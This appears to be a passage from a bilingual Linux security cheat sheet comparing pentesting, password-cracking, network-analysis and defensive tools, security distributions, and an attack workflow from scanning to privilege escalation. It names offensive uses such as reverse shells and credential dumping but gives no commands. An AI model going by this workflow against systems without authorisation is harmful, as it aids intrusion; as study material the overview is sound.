Tool	Type	Strengths	Weaknesses	Use Case
Burp Suite	Web Proxy	All web attacks	GUI, manual intervention	Web app pentesting
BeEF	Browser	Browser hooking	JS required	After XSS
Exploit-DB / searchsploit	Database	Offline exploit search	Manual execution	Public exploit for CVE

🔑 Password Attack Tools Comparison

Tool	Type	GPU Support	When to Use
Hydra	Online BF	❌	Live service (SSH, FTP, HTTP)
Medusa	Online BF	❌	Alternative to Hydra
John the Ripper	Offline	⚠️ Limited	Linux shadow, ZIP, SSH key
Hashcat	Offline	✅ Best	Fast crack with GPU
CrackStation	Online	N/A	Simple hash online lookup

📡 Network Analysis Tools

Tool	Interface	Specialty	Use Case
Wireshark	GUI	Packet analysis	Network traffic analysis, CTF forensics
tcpdump	CLI	Fast capture	Packet capture on remote server
Tshark	CLI	Wireshark CLI version	Scripted packet analysis
Netcat (nc)	CLI	Multi-purpose	Port scan, reverse shell, file transfer

Tool	Interface	Specialty	Use Case
ss / netstat	CLI	Local socket info	View open ports & connections

🛡️ Blue Team vs Red Team Tools

🔴 Red Team (Attacker)

Tool	Purpose
Nmap	Scanning
Metasploit	Exploiting
Burp Suite	Web attack
Hashcat	Password crack
LinPEAS	Find PrivEsc
Mimikatz	Credential dump

🔵 Blue Team (Defender)

Tool	Purpose
Snort / Suricata	IDS/IPS
Fail2Ban	Block brute force
Wazuh / OSSEC	SIEM / Log analysis
Wireshark	Traffic analysis
auditd	Audit logging

Tool	Purpose
Lynis	Security audit

📊 Which Distro for Which Task?

Distro	Best Use	Pre-installed Tools	Our Rating
Kali Linux	Penetration Testing	600+	⭐⭐⭐⭐⭐ Best choice
Parrot OS	Security + Privacy	400+	⭐⭐⭐⭐ For light machines
BlackArch	Advanced Pentesting	2800+	⭐⭐⭐⭐⭐ For experts
REMnux	Malware Analysis	100+	⭐⭐⭐⭐⭐ Forensics
TAILS	Anonymity	50+	⭐⭐⭐⭐ Privacy
Ubuntu Server	Blue Team Lab Setup	0	⭐⭐⭐ Practice target

🔧 Tools Selection Guide

- 🔍 Scanning → Always start with Nmap
- 💥 Exploitation → Metasploit first, then manual
- 🔑 Hash Crack → Use Hashcat with GPU, John without
- 🌐 Web Testing → Burp Suite first
- ⬆️ PrivEsc → Run LinPEAS, then manual check

- 📡 Traffic Analysis → Wireshark (GUI) or tcpdump (CLI)

🐧 "In the world of Linux, the terminal is your superpower."

This document is entirely for educational purposes. Always practice in an authorized environment.

v2.0 — Roadmap + Cheat Sheet + Tools Comparison + Bilingual + Dark Mode